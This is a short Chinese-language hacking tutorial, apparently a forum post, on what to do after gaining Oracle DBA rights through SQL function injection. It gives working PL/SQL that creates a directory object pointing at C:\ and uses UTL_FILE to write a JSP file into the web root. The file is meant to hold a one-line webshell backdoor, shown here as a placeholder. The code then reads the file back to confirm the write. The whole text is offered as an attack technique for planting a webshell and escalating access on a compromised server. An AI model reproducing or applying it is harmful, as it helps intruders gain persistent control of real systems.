一般我們通過函數注射以後 獲得ORA的DBA權限 那麼我們就得對本地文件進行操作!要是WEB跟ORA是同一個機器~那就更方便於我們拿更多的權限了~或者對本地寫webshell
下面是采用ORA 自帶的文件訪問包 操作本地文件! 前提是你必須要知道WEBSITE的物理地址
以下是一個簡單例子
--首先我們得先建立一個 Oracle的目錄對象 指向 C:\
create or replace directory IST0_DIR as 'C:\';
--然後我們對這個目錄對象進行授權 其實這步可以忽略
grant read, write on directory IST0_DIR to 用戶;
--以上前奏完成了! 我們可以寫PLSQL 進行操作文件了
declare
isto_file utl_file.file_type; --定義變量的類型為utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.JSp', 'W'); --指定為IST0_DIR 目錄下面的kj021320.JSP文件寫操作
utl_file.put_line(isto_file, '一句話後門'); --寫入字符串
utl_file.fflush(isto_file); --刷緩沖
utl_file.fclose(isto_file); --關閉文件指針
end;
--下面我們可以使用讀操作把寫入的文件內容讀出來
declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --沒必要說了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.JSP', 'R'); -- 指定為讀操作
utl_file.get_line (isto_file , fp_buffer ); --讀取一行放到 fp_buffer 變量裡面
dbms_output.put_line(fp_buffer);--在終端輸出結果看看
utl_file.fclose(isto_file); --關閉文件指針
end;